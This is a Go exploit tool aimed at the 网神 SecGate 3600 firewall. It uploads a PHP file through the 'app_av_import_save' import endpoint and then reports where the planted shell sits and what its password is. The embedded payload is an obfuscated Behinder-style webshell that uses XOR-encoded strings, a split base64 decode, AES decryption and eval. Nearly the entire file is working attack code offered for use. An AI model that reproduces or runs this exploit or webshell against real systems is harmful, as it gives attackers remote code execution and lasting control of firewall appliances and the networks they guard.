package main

import (
	"crypto/md5"
	"crypto/tls"
	"encoding/hex"
	"fmt"
	"github.com/hpifu/go-kit/hflag"
	"github.com/imroc/req/v3"
	"github.com/liushuochen/gotable"
	"github.com/thanhpk/randstr"
	"net/http"
	"os"
	"strings"
	"time"
)

func main() {
	target := parseFlag()
	getShell(target)
}

func parseFlag() string {
	hflag.AddFlag("target", "网神SecGate 3600防火墙地址", hflag.Required(), hflag.Shorthand("t"))
	if err := hflag.Parse(); err != nil {
		fmt.Println(hflag.Usage())
		os.Exit(0)
	}
	return hflag.GetString("target")
}

func client() *req.Client {
	cli := req.C()
	cli.SetTLSFingerprintSafari()
	cli.SetAutoDecodeAllContentType()
	cli.SetRedirectPolicy(req.NoRedirectPolicy())
	cli.SetTimeout(time.Second * 15)
	cli.TLSClientConfig = &tls.Config{InsecureSkipVerify: true,
		MinVersion: tls.VersionTLS10,
		MaxVersion: tls.VersionTLS13}
	return cli
}

func getShell(host string) {
	vulURL := strings.Replace(host+"//?g=app_av_import_save", "//g", "/g", 1)
	password := randstr.Hex(12)
	filename := randstr.Hex(8) + ".php"
	webshell := behinderWebshell(password)
	r := client()
	r.SetCommonHeader("Accept", "*/*")
	r.SetCommonHeader("Accept-Encoding", "gzip, deflate")
	post, err := r.R().EnableForceMultipart().SetFormData(map[string]string{
		"MAX_FILE_SIZE": "100000000",
		"submit_post":   "app_av_import_save",
	}).SetFileBytes("reqfile", filename, []byte(webshell)).Post(vulURL)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		_ = post.Body.Close()
	}()
	if post.StatusCode == http.StatusFound {
		shellAddr := strings.Replace(host+"/attachements/"+filename, "//att", "/att", 1)
		get, _ := r.R().Get(shellAddr)
		defer func() {
			_ = get.Body.Close()
		}()
		if get.StatusCode == http.StatusOK {
			tb, _ := gotable.Create("Shell连接工具", "Shell连接地址", "Shell连接密码")
			_ = tb.AddRow([]string{
				"冰蝎/Behinder", shellAddr, password,
			})
			fmt.Println(tb)
		} else {
			fmt.Println("Shell没有找到,是不是被杀了?")
			return
		}
	}
}

func behinderWebshell(pass string) string {
	md5Hash := md5.New()
	md5Hash.Write([]byte(pass))
	sum := md5Hash.Sum(nil)
	md5Pass := hex.EncodeToString(sum)
	shellstr := "<?php @error_reporting(0);session_start();$key=\"" + md5Pass[0:16] + "\";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$HHyy0=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\\s+/','','base 64 _ deco de');$HHyy0=$t($HHyy0.\"\");for($i=0;$i<strlen($HHyy0);$i++) { $new_key = $key[$i+1&15];$HHyy0[$i] = $HHyy0[$i] ^ $new_key;}    }else{ $HHyy0=openssl_decrypt($HHyy0, \"AES128\", $key);}$arr=explode('|',$HHyy0);$func=$arr[0];$params=$arr[1];class G7282LW3{ public function __invoke($p) {@eval(\"/*ZgjF794x01*/\".$p.\"\");}}@call_user_func/*ZgjF794x01*/(new G7282LW3(),$params);?>"
	return shellstr
}
